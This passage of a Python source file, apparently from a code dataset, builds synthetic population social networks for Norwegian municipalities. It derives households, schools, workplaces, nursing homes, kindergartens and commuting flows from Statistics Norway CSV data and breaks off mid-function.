}\n\n\n\n\n","sub_path":"gelbeseiten/spiders/spider.py","file_name":"spider.py","file_ext":"py","file_size_in_byte":1552,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"342834119","text":"# -*- coding: utf-8 -*-\n\nimport pandas as pd\nimport random\nimport warnings\nimport copy\nimport math\nimport os\nimport time\nimport cProfile, pstats\nfrom io import StringIO\n\n\n# # # # #\n# # # # # Functions to get the different distributions from the csv files generated by croPopDat.py\n# # # # #\n\ndef getAgeDistribution(queryMunicipality,dataDirName):\n #07459: Population, by sex and one-year age groups (M) 1986 - 2020\n #This function uses the above dataset from SSB found in dataDirName to return\n # \"ageDistribution\", the number of people at any gives age across\n # ages 0 to 105 for the given queryMunicipality as a python list\n pop_age_region_dataFrame = pd.read_csv(dataDirName+\"pop_age_region.csv\")\n pop_age_region_dataFrame[\"region\"] = pop_age_region_dataFrame[\"region\"].str.lower()\n osloAges = pop_age_region_dataFrame[pop_age_region_dataFrame['region'].str.contains(queryMunicipality.lower())]\n # osloAges = pop_age_region_dataFrame.loc[pop_age_region_dataFrame['region'] == queryMunicipality.lower()+\" (-2019)\"]\n ageDistribution = []\n for i in range(106):\n queryAge = str(i)+\" years\"\n if i==1:\n queryAge = \"1 year\"\n ageVals = osloAges.loc[osloAges['age'] == queryAge]\n ageDistribution.append(sum(ageVals['value']))\n print(\"Generated age distribution with \"+str(sum(ageDistribution))+\" people\")\n return ageDistribution\n\ndef getHouseholdSizeDistribution(queryMunicipality,dataDirName):\n #06079: Private households and persons in private households, by size of household (per cent) (M) (UD) 2005 - 2019\n #This function uses the above dataset from SSB to return\n # \"householdSizeDistribution\", which is the distribution of household sizes in terms of the\n # proportion of households that contain 1, 2, 3, 4 and 5+ people in them as a python list\n household_sizes_dataFrame = pd.read_csv(dataDirName+\"household_sizes.csv\")\n household_sizes_dataFrame[\"region\"] = household_sizes_dataFrame[\"region\"].str.lower()\n regionHouseholds = household_sizes_dataFrame[household_sizes_dataFrame['region'].str.contains(queryMunicipality.lower())]\n regionHouseholds = regionHouseholds.loc[regionHouseholds['contents'] == 'Persons in private households']\n regionHouseholds['value'].tolist()\n householdSizeDistribution = regionHouseholds['value'].tolist()\n return householdSizeDistribution\n\ndef getHouseHoldTypeDistribution(queryMunicipality,dataDirName):\n #06070: Privathusholdninger, etter husholdningstype (K) (B) 2005 - 2019\n #This function uses the above dataset from SSB to return\n # \"householdData\", which is the type of household (as given in \"householdTypes\")\n # and the number of households of the respective types for the given municipality\n # as two lists in a nested python list (\"[householdTypes,householdNumbers]\")\n household_type_dataFrame = pd.read_csv(dataDirName+\"household_type.csv\")\n household_type_dataFrame[\"region\"] = household_type_dataFrame[\"region\"].str.lower()\n regionHouseholds = household_type_dataFrame[household_type_dataFrame['region'].str.contains(queryMunicipality.lower())]\n # print(regionHouseholds)\n householdTypes = [\"Living alone\",\"Couple without resident children\",\"Couple with small children (youngest child 0-5 years)\",\"Couple with older children (youngest child 6-17 years)\",\"Lone parent with small children (youngest child 0-5 years)\",\"Lone parent with older children (youngest child 6-17 years)\",\"One family households with adult children (youngest child 18 years and over\",\"Two or more-family households without resident children 0-17 years\",\"Two or more-family households with small children (youngest child 0-5 years)\",\"Two or more-family households with older children (youngest child 6-17 years)\"]\n householdNumbers = []\n for i in householdTypes:\n householdNumbers.append(sum(regionHouseholds.loc[regionHouseholds['type of household'] == i]['value']))\n assert len(householdTypes)==len(householdNumbers)\n householdData = [householdTypes,householdNumbers]\n # 0 \"Living alone\"\n # 1 \"Couple without resident children\"\n # 2 \"Couple with small children (youngest child 0-5 years)\"\n # 3 \"Couple with older children (youngest child 6-17 years)\"\n # 4 \"Lone parent with small children (youngest child 0-5 years)\"\n # 5 \"Lone parent with older children (youngest child 6-17 years)\"\n # 6 \"One family households with adult children (youngest child 18 years and over\"\n # 7 \"Two or more-family households without resident children 0-17 years\"\n # 8 \"Two or more-family households with small children (youngest child 0-5 years)\"\n # 9 \"Two or more-family households with older children (youngest child 6-17 years)\"\n ##SINGLE PARENT OR NOT IS IMPORTANT! \n ## Living with both parents, total\t\n #Children with no siblings\t127 194\n #Children with siblings, total\t709 612 \n #TOT = 836,806\n ## Living with one of the parents, total\t\n #Children with no siblings\t99 231\n #Children with siblings, total\t175 450\n #TOT = 274,681‬\n ## Fractions with both/single parents\n #No siblings 0.56/0.44\n #Siblings 0.80/0.20\n #TOT 0.75/0.25\n print(\"Generated household type distribution with \"+str(sum(householdNumbers))+\" households\")\n return householdData\n\ndef getSiblingFlockSizeDistribution(dataDirName):\n #06206: Children 0-17 years, by number of siblings and the child's age 2001 - 2019\n #This function uses data from the above given dataset from SSB to calculate the proportion\n # of sibling flocks that fall in the different size categories (1, 2, 3, 4, 5, 6+).\n # Importantly, it derives this statistic, which speaks of sibling flock sizes, from data\n # on how many siblings children tend to have, and how many children tend to have siblings.\n # These proportions, as decimal fractions, are returned as \n # \"siblingFlockSizeDistribution\", a python list\n siblingFlockSizeDistribution = [0.197,0.584*0.803,0.311*0.803,0.073*0.803,0.019*0.803,0.012*0.803]\n for i in range(len(siblingFlockSizeDistribution)):\n siblingFlockSizeDistribution[i] = siblingFlockSizeDistribution[i]/(1+i)\n siblingFlockSum = sum(siblingFlockSizeDistribution[1:])\n for i in range(len(siblingFlockSizeDistribution)-1):\n siblingFlockSizeDistribution[i+1] = 0.803*siblingFlockSizeDistribution[i+1]/siblingFlockSum\n assert sum(siblingFlockSizeDistribution)>0.99 and sum(siblingFlockSizeDistribution)<1.01\n print(\"Generated sibling flock size distribution\")\n return siblingFlockSizeDistribution\n \ndef getSecondaryEducationProportion(dataDirName):\n #08947: Pupils, apprentices, students and participants in upper secondary education, by sex, age and type of school/institution 2006 - 2019\n #This function uses data from the above SSB dataset to approximate the proportion of secondary school attendance for children and young\n # adults aged 16 to 20, which is returned as a float\n\n #upper_secondary_schoolers_dataFrame = pd.read_csv(dataDirName+\"upper_secondary_schoolers.csv\")\n #2,\"Public maintained schools, total\",Both sexes,16-18 years,\"Pupils, apprentices, students and participants\",2019,176923\n #3,\"Public maintained schools, total\",Both sexes,19-24 years,\"Pupils, apprentices, students and participants\",2019,58448\n #total number of people 16-24 in upper secondary school: 176923+58448=235371\n #total proportion of people 16-24 in upper secondary school: 235371/(32300+31684+32696+34517+34794+34159+35129+36127+36264+30722+30367+30861+32067+32019+32005+32688+33822+33822)=0.394\n #people 16-20 divided by people 16-24 in upper secondary school: 235371/(32300+31684+32696+34517+34794+30722+30367+30861+32067+32019)=0.731\n # 16,The whole country,Males,16 years,Persons,2020,32300\n # 17,The whole country,Males,17 years,Persons,2020,31684\n # 18,The whole country,Males,18 years,Persons,2020,32696\n # 19,The whole country,Males,19 years,Persons,2020,34517\n # 20,The whole country,Males,20 years,Persons,2020,34794\n # 21,The whole country,Males,21 years,Persons,2020,34159\n # 22,The whole country,Males,22 years,Persons,2020,35129\n # 23,The whole country,Males,23 years,Persons,2020,36127\n # 24,The whole country,Males,24 years,Persons,2020,36264\n # 122,The whole country,Females,16 years,Persons,2020,30722\n # 123,The whole country,Females,17 years,Persons,2020,30367\n # 124,The whole country,Females,18 years,Persons,2020,30861\n # 125,The whole country,Females,19 years,Persons,2020,32067\n # 126,The whole country,Females,20 years,Persons,2020,32019\n # 127,The whole country,Females,21 years,Persons,2020,32005\n # 128,The whole country,Females,22 years,Persons,2020,32688\n # 129,The whole country,Females,23 years,Persons,2020,33822\n # 130,The whole country,Females,24 years,Persons,2020,33822\n warnings.warn(\"WARNING! SECONDARY EDUCATION PROPORTION DATA IS GUESSTIMATE\")\n return 0.6\n\ndef getWorkplaceSizeDistribution(queryMunicipality,dataDirName):\n #10308: Establishments, by the enterprises sector and number of employees (M) 2012 - 2020\n #This function uses the above dataset from SSB to return two python lists in a nested list: \n # 1) the different establishment sizes from the dataset\n # 2) the number of total employees in each category of establishment in the given municipality (kommune)\n establishments_dataFrame = pd.read_csv(dataDirName+\"establishments.csv\")\n establishments_dataFrame[\"region\"] = establishments_dataFrame[\"region\"].str.lower()\n regionEstablishments = establishments_dataFrame[establishments_dataFrame['region'].str.contains(queryMunicipality.lower())]\n employeeBins = [\"1-4 employees\",\"5-9 employees\",\"10-19 employees\",\"20-49 employees\",\"50-99 employees\",\"100 - 249 employees\",\"250 employees and more\"]\n employeeNumbers = []\n for i in employeeBins:\n employeeNumbers.append(sum(regionEstablishments.loc[regionEstablishments['number of employees'] == i]['value']))\n assert len(employeeBins) == len(employeeNumbers)\n print(\"Generated workplace size distribution with \"+str(len(employeeNumbers))+\" workplaces and \"+str(sum(employeeNumbers))+\" employees\")\n return [employeeBins,employeeNumbers]\n\ndef getSchoolSizeDistribution(queryMunicipality,dataDirName):\n\n #This function uses data from the NSR (Norsk skoleregister) API and returns \n # \"[primarySchoolSizes,secondarySchoolSizes,schoolAssociations],upperSecondarySchoolDistribution\"\n # where \"primarySchoolSizes\" and \"secondarySchoolSizes\" are lists of the sizes of all school groups\n # with primary and secondary school age children given as number of pupils,\n # \"schoolAssociations\" is a list that links any given secondary school to a set of primary schools, and\n # \"upperSecondarySchoolDistribution\" is a list with all the sizes of all school groups with upper secondary school age children\n\n #loading data\n allSchools_dataFrame = pd.read_csv(dataDirName+\"allSchools.csv\")\n allSchools_dataFrame[\"KommuneNavn\"] = allSchools_dataFrame[\"KommuneNavn\"].str.lower()\n regionSchools = allSchools_dataFrame[allSchools_dataFrame['KommuneNavn'].str.contains(queryMunicipality.lower())]\n # print(\"len(regionSchools['KommuneNavn'])\")\n if len(regionSchools['KommuneNavn']) == 0:\n print(\"Data for schools in \"+queryMunicipality+\" is missing.\")\n \n lowerSchools = regionSchools.loc[regionSchools['ErGrunnSkole'] == True]\n upperSchools = regionSchools.loc[regionSchools['ErVideregaaendeSkole'] == True]\n # upperSchools.to_csv(dataDirName+'upperSchools_'+queryMunicipality+'.csv')\n # print(upperSchools)\n\n #converting number of pupils, school steps and employees to lists\n lowerSchoolPupilNumber = lowerSchools['Elevtall'].tolist()\n lowerSchoolStepFrom = lowerSchools['SkoleTrinnFra'].tolist()\n lowerSchoolStepTo = lowerSchools['SkoleTrinnTil'].tolist()\n lowerSchoolEmployeesFrom = lowerSchools['AnsatteFra'].tolist()\n lowerSchoolEmployeesTo = lowerSchools['AnsatteTil'].tolist()\n\n\n #converting number of pupils, school steps and employees to lists\n upperSchoolPupilNumber = upperSchools['Elevtall'].tolist()\n upperSchoolStepFrom = upperSchools['SkoleTrinnFra'].tolist()\n upperSchoolStepTo = upperSchools['SkoleTrinnTil'].tolist()\n upperSchoolEmployeesFrom = upperSchools['AnsatteFra'].tolist()\n upperSchoolEmployeesTo = upperSchools['AnsatteTil'].tolist()\n\n\n #generating lower school sizes and employee numbers\n\n primarySchoolSizes = []\n primarySchoolEmployees = []\n secondarySchoolSizes = []\n secondarySchoolEmployees = []\n\n for school in range(len(lowerSchoolPupilNumber)):\n try:\n schoolEmployees = int((lowerSchoolEmployeesFrom[school]+lowerSchoolEmployeesTo[school])/2)\n schoolPupils = int(lowerSchoolPupilNumber[school])\n if lowerSchoolStepFrom[school]==1 and lowerSchoolStepTo[school]==7:\n primarySchoolSizes.append(schoolPupils)\n primarySchoolEmployees.append(schoolEmployees)\n elif lowerSchoolStepFrom[school] == 8 and lowerSchoolStepTo[school] == 10:\n secondarySchoolSizes.append(schoolPupils)\n secondarySchoolEmployees.append(schoolEmployees)\n elif lowerSchoolStepFrom[school]==1 and lowerSchoolStepTo[school]==10:\n primarySchoolSizes.append(int(0.7*schoolPupils))\n primarySchoolEmployees.append(schoolEmployees*0.7)\n secondarySchoolSizes.append(int(0.3*schoolPupils))\n secondarySchoolEmployees.append(int(schoolEmployees*0.3))\n elif lowerSchoolStepFrom[school]==1 and lowerSchoolStepTo[school]==13:\n primarySchoolSizes.append(int(7/13*schoolPupils))\n primarySchoolEmployees.append(int(schoolEmployees*7/13))\n secondarySchoolSizes.append(int(3/13*schoolPupils))\n secondarySchoolEmployees.append(int(schoolEmployees*3/13))\n elif lowerSchoolStepFrom[school]==1 and lowerSchoolStepTo[school]==12:\n primarySchoolSizes.append(int(7/12*schoolPupils))\n primarySchoolEmployees.append(int(schoolEmployees*7/12))\n secondarySchoolSizes.append(int(3/12*schoolPupils))\n secondarySchoolEmployees.append(int(schoolEmployees*3/12))\n elif lowerSchoolStepFrom[school]==8 and lowerSchoolStepTo[school]==13:\n secondarySchoolSizes.append(int(0.5*schoolPupils))\n secondarySchoolEmployees.append(int(schoolEmployees*0.5))\n elif lowerSchoolStepFrom[school]==1 and lowerSchoolStepTo[school]==6:\n primarySchoolSizes.append(schoolPupils)\n primarySchoolEmployees.append(schoolEmployees)\n # else:\n # print(\"lowerSchoolStepFrom[school]: \"+str(lowerSchoolStepFrom[school])+\", lowerSchoolStepTo[school]: \"+str(lowerSchoolStepTo[school])+\", lowerSchoolPupilNumber[school]: \"+str(lowerSchoolPupilNumber[school]))\n except:\n print(\"Couldn't generate school data for lower school #\"+str(school)+\" in \"+queryMunicipality+\" due to nan values\")\n\n #generating upper school sizes and employee numbers\n \n upperSecondarySchoolDistribution = []\n upperSecondarySchoolEmployees = []\n \n for school in range(len(upperSchoolPupilNumber)):\n try:\n schoolEmployees = int((upperSchoolEmployeesFrom[school]+upperSchoolEmployeesTo[school])/2)\n #numbers are missing for many upper secondary schools\n if math.isnan(upperSchoolPupilNumber[school]):\n #there appears to be numbers for employees for a lot more, and there appears to be roughly (read: sketchy approximation) 4.5 students per employee\n sketchyApproximation = upperSchoolEmployeesTo[school]*4.5\n if math.isnan(sketchyApproximation):\n sketchyApproximation = 0\n upperSchoolPupilNumber[school] = int(sketchyApproximation)\n if upperSchoolStepFrom[school] == 11 and upperSchoolStepTo[school] == 13:\n upperSecondarySchoolDistribution.append(upperSchoolPupilNumber[school])\n upperSecondarySchoolEmployees.append(schoolEmployees)\n elif upperSchoolStepFrom[school] == 8 and upperSchoolStepTo[school] == 13:\n upperSecondarySchoolDistribution.append(int(0.5*upperSchoolPupilNumber[school]))\n upperSecondarySchoolEmployees.append(int(schoolEmployees*0.5))\n elif upperSchoolStepFrom[school] == 1 and upperSchoolStepTo[school] == 13:\n upperSecondarySchoolDistribution.append(int(3/13*upperSchoolPupilNumber[school]))\n upperSecondarySchoolEmployees.append(int(schoolEmployees*3/13))\n elif upperSchoolStepFrom[school] == 1 and upperSchoolStepTo[school] == 12:\n upperSecondarySchoolDistribution.append(int(2/12*upperSchoolPupilNumber[school]))\n upperSecondarySchoolEmployees.append(int(schoolEmployees*2/12))\n except:\n print(\"Couldn't generate school data for upper school #\"+str(school)+\" in \"+queryMunicipality+\" due to nan values\")\n # else:\n # print(\"upperSchoolStepFrom[school]: \"+str(upperSchoolStepFrom[school])+\", upperSchoolStepTo[school]: \"+str(upperSchoolStepTo[school])+\", upperSchoolPupilNumber[school]: \"+str(upperSchoolPupilNumber[school]))\n\n #associating primary schools with lower secondary schools, generating implicit geographical linkage\n if not len(primarySchoolSizes)>len(secondarySchoolSizes):\n print(\"primarySchoolSizes:\")\n print(primarySchoolSizes)\n print(\"secondarySchoolSizes:\")\n print(secondarySchoolSizes)\n if len(primarySchoolSizes) == 0:\n print(\"No primary schools found. Generating one.\")\n primarySchoolSizes = [10]\n if len(secondarySchoolSizes) == 0:\n print(\"No secondary schools found. Generating one.\")\n secondarySchoolSizes = [10]\n assert(len(primarySchoolSizes)>=len(secondarySchoolSizes))\n primarySchoolSizes.sort(reverse = True)\n secondarySchoolSizes.sort(reverse = True)\n \n schoolAssociations = [[] for x in range(len(secondarySchoolSizes))] #linking each secondary schools to set of primary schools. index is secondary school, values are lists of primary schools\n\n #iteratively assigning the biggest primary school to the secondary school with the largest proportional amount of spaces left\n secondarySchoolSlotsVacant = copy.deepcopy(secondarySchoolSizes)\n for school in range(len(primarySchoolSizes)):\n schoolIndex = secondarySchoolSlotsVacant.index(max(secondarySchoolSlotsVacant))\n schoolAssociations[schoolIndex].append(school)\n secondarySchoolSlotsVacant[schoolIndex] = secondarySchoolSlotsVacant[schoolIndex]-int(3*primarySchoolSizes[school])\n\n schoolEmployees = [primarySchoolEmployees,secondarySchoolEmployees,upperSecondarySchoolEmployees]\n\n print(\"Generated school size distribution, with \"+str(len(primarySchoolSizes))+\" primary schools, \"+str(len(secondarySchoolSizes))+\" secondary schools, and \"+str(len(upperSecondarySchoolDistribution))+\" high schools\")\n \n return [primarySchoolSizes,secondarySchoolSizes,schoolAssociations],upperSecondarySchoolDistribution,schoolEmployees #schoolAssocations has secondary school ID as index and primary school IDs as value\n\ndef getElderlyHomeDistribution(queryMunicipality,queryCounty,dataDirName):\n #This function uses the data set #11933: Care institutions - rooms, by region, contents and year (M)\n # from SSB and returns \"nursingHomeSizes,[ageBins,ageNumbers]\", where \"nursingHomeSizes\" is \n # a list of the size of all nursing rooms in the municipality, \"ageBins\"\n # is a list of strings describing the age groups in nursing homes, and \"ageNumbers\" is a list of\n # all the patients in the corresponding ageBin in nursing homes in the given municipality\n \n #09929: Nursing and care institutions and beds, by ownership (C) 2009 - 2018\n\n # nursing_spots_dataFrame = pd.read_csv(dataDirName+\"nursing_spots.csv\")\n\n #11933: Care institutions - rooms, by region, contents and year (M)\n nursingHomeRooms_dataFrame = pd.read_csv(dataDirName+\"nursingHomeRooms.csv\")\n\n #generating nursing home size distribution by dividing the number of beds by the number of institutions and assuming some kind of middle-heavy distribution\n #generating nursing homes number by dividing number of patients by average nursing home size\n #distribution below is \"weighting for each bin of 10\"\n nursingHomeRooms_dataFrame[\"region\"] = nursingHomeRooms_dataFrame[\"region\"].str.lower()\n regionNursingHomeRooms = nursingHomeRooms_dataFrame[nursingHomeRooms_dataFrame['region'].str.contains(queryMunicipality.lower())]\n numberOfRooms = sum(pd.to_numeric(regionNursingHomeRooms.loc[regionNursingHomeRooms['contents'] == \"Rooms, total (number)\"]['value']))\n\n # regionNursingSpots = nursing_spots_dataFrame[nursing_spots_dataFrame['region'].str.contains(queryCounty)]\n # regionNursingSpots = regionNursingSpots[regionNursingSpots['ownership'].str.contains(\"total\")]\n # numberOfBeds = sum(regionNursingSpots.loc[regionNursingSpots['contents'] == \"Beds\"]['value'])\n # numberOfInstitutions = sum(regionNursingSpots.loc[regionNursingSpots['contents'] == \"Institutions\"]['value'])\n \n # meanNursingHomeSize = numberOfBeds/numberOfInstitutions\n\n #setting mean nursing home size to 40; it's 50 for Oslo, assuming smaller average\n meanNursingHomeSize = 40\n if math.isnan(numberOfRooms):\n numberOfRooms = 0\n numberOfInstitutions = int(numberOfRooms/meanNursingHomeSize)\n nursingHomeSizes = [meanNursingHomeSize for x in range(numberOfInstitutions)]\n \n #04469: Bebuarar i bustader kommunen disponerer til pleie- og omsorgsformål, etter alder (K) 2002 - 2018\n nursing_patients_dataFrame = pd.read_csv(dataDirName+\"nursing_patients.csv\")\n nursing_patients_dataFrame[\"region\"] = nursing_patients_dataFrame[\"region\"].str.lower()\n regionNursingHomes = nursing_patients_dataFrame[nursing_patients_dataFrame['region'].str.contains(queryMunicipality.lower())]\n regionNursingHomes = regionNursingHomes.loc[nursing_patients_dataFrame['contents'] == 'Residents in dwellings']\n ageBins = [\"Under 67 years\",\"67-74 years\",\"75-79 years\",\"80-84 years\",\"85-89 years\",\"90 years or older\"]\n ageNumbers = []\n for i in ageBins:\n numberAtAge = sum(regionNursingHomes.loc[regionNursingHomes['age'].isin([i])]['value'])\n if math.isnan(numberAtAge):\n print(\"Nursing home resident information unavailable! Default distribution assumed\")\n meanAgeGroupSize = int(numberOfRooms/len(ageBins))\n ageGroupWeights = [0.5,0.5,0.8,1.2,1.5,1.5]\n assert sum(ageGroupWeights)/len(ageGroupWeights) == 1\n ageNumbers = [int(meanAgeGroupSize*ageGroupWeights[x]) for x in range(len(ageBins))]\n break\n else:\n ageNumbers.append(int(numberAtAge))\n assert len(ageBins) == len(ageNumbers)\n\n # print(\"numberOfRooms: \"+str(numberOfRooms)+\", total patients: \"+str(sum(ageNumbers)))\n # print(\"Age distribution: u67: \"+str(ageNumbers[0])+\", 67-74: \"+str(ageNumbers[1])+\", 75-79: \"+str(ageNumbers[2])+\", 80-84: \"+str(ageNumbers[3])+\", 85-89: \"+str(ageNumbers[4])+\", 90+: \"+str(ageNumbers[5]))\n\n # #determining number of nursing homes\n # numberOfNursingHomes = int(sum(ageNumbers)/meanNursingHomeSize)\n # #generating nursing homes\n # population = range(len(nursingHomeSizeDistribution))\n # weights = copy.deepcopy(nursingHomeSizeDistribution)\n # nursingHomeSizes = []\n # for i in range(numberOfNursingHomes):\n # nursingHomeSize = random.choices(population, weights)\n # nursingHomeSize = nursingHomeSize[0]\n # nursingHomeSizes.append(nursingHomeSize)\n if not nursingHomeSizes and sum(ageNumbers)>0:\n print(\"No information on nursing home sizes available, assuming mean of 40 patients per nursing home.\")\n for x in range(math.ceil(sum(ageNumbers[1:])/40)):\n nursingHomeSizes.append(40)\n \n print(\"Generated \"+str(len(nursingHomeSizes))+\" nursing homes\")\n\n return nursingHomeSizes,[ageBins,ageNumbers]\n\ndef getKindergartenDistribution(queryMunicipality,dataDirName):\n\n #This function integrates the 3 datasets from SSB given below to return\n # \"kindergartenSizes,kindergartenProportions\", where \"kindergartenSizes\"\n # is a list of all the kinder gartens' sizes in the given municipality,\n # while \"kindergartenProportions\" is the proportion of children at a given\n # age that attend kindergarten\n \n # loading relevant data\n\n #09220: Kindergartens, by ownership (M) 1987 - 2019\n kids_in_kindergartens_dataFrame = pd.read_csv(dataDirName+'kindergartenNumbers.csv')\n kids_in_kindergartens_dataFrame[\"region\"] = kids_in_kindergartens_dataFrame[\"region\"].str.lower()\n kindergartensRegion = kids_in_kindergartens_dataFrame[kids_in_kindergartens_dataFrame['region'].str.contains(queryMunicipality.lower())]\n \n #09169: Barn i barnehager, etter region, barnehagetype, statistikkvariabel og år\n kindergartens_in_places = pd.read_csv(dataDirName+'kidsInKindergartens.csv')\n kindergartens_in_places[\"region\"] = kindergartens_in_places[\"region\"].str.lower()\n kindergartenKidsRegion = kindergartens_in_places[kindergartens_in_places['region'].str.contains(queryMunicipality.lower())]\n\n #12562: Selected key figures kindergartens, by region, contents and year (M)\n kinderGartenAttendanceAndPersonnel = pd.read_csv(dataDirName+'kinderGartenAttendanceAndPersonnel.csv')\n kinderGartenAttendanceAndPersonnel[\"region\"] = kinderGartenAttendanceAndPersonnel[\"region\"].str.lower()\n kinderGartenAttendanceAndPersonnelRegion = kinderGartenAttendanceAndPersonnel[kinderGartenAttendanceAndPersonnel['region'].str.contains(queryMunicipality.lower())]\n #\"Percentage of 1-2 year-olds in kindergarten (per cent)\", \"Percentage of 3-5 year-olds in kindergarten (per cent)\"\n smallKidsRates = sum(kinderGartenAttendanceAndPersonnelRegion.loc[kinderGartenAttendanceAndPersonnelRegion['contents'] == \"Percentage of 1-2 year-olds in kindergarten (per cent)\"]['value'])\n bigKidsRates = sum(kinderGartenAttendanceAndPersonnelRegion.loc[kinderGartenAttendanceAndPersonnelRegion['contents'] == \"Percentage of 3-5 year-olds in kindergarten (per cent)\"]['value'])\n\n\n ageGroups = [\"0 years\",\"1 year\",\"2 years\",\"3 years\",\"4 years\",\"5 years\",\"6 years\"]\n numberOfKidsPerYear = [sum(kindergartenKidsRegion.loc[kindergartenKidsRegion['age'] == ageGroups[i]]['value']) for i in range(7)]\n numberOfKids = sum(numberOfKidsPerYear)\n\n numberOfKindergartens = sum(kindergartensRegion['value'])\n\n #assuming (somewhat naively) homogeneous size of kindergartens in lieu of better data\n if numberOfKindergartens<=0:\n print(\"numberOfKindergartens: \"+str(numberOfKindergartens)+\", numberOfKids: \"+str(numberOfKids))\n numberOfKindergartens = 1\n meanKindergartenSize = int(numberOfKids/numberOfKindergartens)\n \n kindergartenSizes = [meanKindergartenSize for x in range(numberOfKindergartens)]\n kindergartenProportions = [0]+[smallKidsRates/100 for x in range(2)]+[bigKidsRates/100 for x in range(3)]\n\n print(\"Generated \"+str(len(kindergartenSizes))+\" kindergartens\")\n\n return kindergartenSizes,kindergartenProportions\n\ndef getCommuteData(queryMunicipality,dataDirName):\n\n #This function...\n \n # loading relevant data\n\n #03321: Employed persons (aged 15-74) per 4th quarter, by municipality of work, municipality of residence, contents and year\n commuting_dataFrame = pd.read_csv(dataDirName+'municipalityResidenceEmployment.csv')\n if queryMunicipality == \"Oslo\":\n queryMunicipality = \"Oslo municipality\"\n\n commuting_dataFrame[\"municipality of residence\"] = commuting_dataFrame[\"municipality of residence\"].str.lower()\n commuting_dataFrame[\"municipality of work\"] = commuting_dataFrame[\"municipality of work\"].str.lower()\n\n commutersFromRegion = commuting_dataFrame[commuting_dataFrame['municipality of residence'].str.contains(queryMunicipality.lower())]\n commutersFromRegion = commutersFromRegion[~commutersFromRegion['municipality of work'].str.contains(queryMunicipality.lower())]\n originRegionList = commutersFromRegion['municipality of work'].tolist()\n originRegionNumbers = commutersFromRegion['value'].tolist()\n for i in range(len(originRegionList)):\n originRegion = originRegionList[i].split(\" \")\n if len(originRegion)>1:\n originRegion = originRegion[0]\n originRegionList[i] = originRegion\n commuterEmploymentPlaces = [originRegionList,originRegionNumbers]\n\n commutersToRegion = commuting_dataFrame[commuting_dataFrame['municipality of work'].str.contains(queryMunicipality.lower())]\n commutersToRegion = commutersToRegion[~commutersToRegion['municipality of residence'].str.contains(queryMunicipality.lower())]\n targetRegionList = commutersToRegion['municipality of residence'].tolist()\n targetRegionNumbers = commutersToRegion['value'].tolist()\n for i in range(len(targetRegionList)):\n targetRegion = targetRegionList[i].split(\" \")\n if len(targetRegion)>1:\n targetRegion = targetRegion[0]\n targetRegionList[i] = targetRegion\n commuterHomePlaces = [targetRegionList,targetRegionNumbers]\n\n print(\"Generated commuters, with \"+str(sum(targetRegionNumbers))+\" commuters going out, and \"+str(sum(originRegionNumbers))+\" commuters coming in\")\n\n return commuterEmploymentPlaces,commuterHomePlaces\n\ndef getWorkAgeProbability(queryMunicipality,dataDirName):\n\n #This function...\n \n # loading relevant data\n\n #06445: Employed persons, by place of residence, sex and age (per cent). 4th quarter (M) 2005 - 2019\n employmentRate_dataFrame = pd.read_csv(dataDirName+'employementRate.csv')\n # if queryMunicipality is \"Oslo\":\n # queryMunicipality = \"Oslo municipality\"\n # else:\n # queryMunicipality = queryMunicipality+\" (-2019)\"\n employmentRate_dataFrame[\"region\"] = employmentRate_dataFrame[\"region\"].str.lower()\n employmentRateForRegion = employmentRate_dataFrame[employmentRate_dataFrame['region'].str.contains(queryMunicipality.lower())]\n if employmentRateForRegion.empty:\n employmentRateForRegion = employmentRate_dataFrame.loc[employmentRate_dataFrame['region'] == queryMunicipality.lower()+\" (-2019)\"]\n employmentRateForRegion = employmentRateForRegion.loc[employmentRateForRegion['sex'] == \"Both sexes\"]\n ageGroups = employmentRateForRegion['age'].tolist()\n ageNumbers = employmentRateForRegion['value'].tolist()\n\n assert(ageGroups[0] == \"15-74 years\")\n assert(ageGroups[1] == \"15-19 years\")\n assert(ageGroups[-1] == \"67-74 years\")\n\n if sum(ageNumbers) == 0:\n # setting to national average as default if no data is available: 67.1,35.6,64,80,82.4,67.4,18.8\n print(\"No employment rate by age available for \"+queryMunicipality+\", assuming national average\")\n ageNumbers = [67.1,35.6,64,80,82.4,67.4,18.8]\n \n workAgeProbability = [[0,14,0],[15,19,ageNumbers[1]],[20,24,ageNumbers[2]],[25,39,ageNumbers[3]],[40,54,ageNumbers[4]],[55,66,ageNumbers[5]],[67,74,ageNumbers[6]],[74,110,0]]\n\n print(\"Generated probabilities of people working at given ages\")\n\n return workAgeProbability\n\n\n# Function for building social network\ndef generateSocialNetworkForRegion(municipalityToGet,nNetworks):\n\n\n #This function integrates the data from all the other functions\n # to generate the actual social network linking people into\n # cliques, such as households, workplaces, schools, etc.\n\n #checking if correct number of files is already generated\n try:\n outputDirName = os.path.dirname(__file__)+\"/output/\"+municipalityToGet.replace(\" \",\"_\")+\"/\"\n with open(outputDirName+\"idAndAge_\"+municipalityToGet.replace(\" \",\"_\")+\"_\"+str(nNetworks)+\".txt\") as f:\n test = f.readlines()\n print(str(nNetworks)+\" already generated for \"+municipalityToGet+\"\\n\")\n return 0\n except:\n pass\n \n print(\"Generating cliques and social network for \"+municipalityToGet)\n\n dataDirName = os.path.dirname(__file__)\n dataDirName = dataDirName+\"/populationData/\"\n \n #since some data only exists with county (fylke) resolution, and not municipality (kommune) resolution,\n # a conversion is required:\n countyToGet = \"Oslo\"\n if municipalityToGet.lower() != \"oslo\":\n countyAndMunicipalityFile = open(dataDirName+\"fylker-kommuner-2019-2020-alle.csv\", encoding = \"utf-8\")\n fylkesNr2019 = []\n fylkesNavn2019 = []\n kommuneNr2019 = []\n kommuneNavn2019 = []\n fylkesNr2020 = []\n fylkesNavn2020 = []\n kommuneNr2020 = []\n kommuneNavn2020 = []\n for line in countyAndMunicipalityFile.readlines():\n splitLine = line.split(\",\")\n fylkesNr2019.append(splitLine[0])\n fylkesNavn2019.append(splitLine[1])\n kommuneNr2019.append(splitLine[2])\n kommuneNavn2019.append(splitLine[3])\n fylkesNr2020.append(splitLine[4])\n fylkesNavn2020.append(splitLine[5])\n kommuneNr2020.append(splitLine[6])\n kommuneNavn2020.append(splitLine[7])\n for i in range(len(kommuneNavn2019)):\n if municipalityToGet.lower() in kommuneNavn2019[i].lower():\n countyToGet = fylkesNavn2019[i]\n break\n if countyToGet == \"Oslo\":\n for i in range(len(kommuneNavn2020)):\n if municipalityToGet.lower() in kommuneNavn2020[i].lower():\n countyToGet = fylkesNavn2020[i]\n break\n\n #people of different ages, index is age, value is number of people\n #Dataset from SSB: \"07459: Population, by sex and one-year age groups (M) 1986 - 2020\"\n ageDistribution = 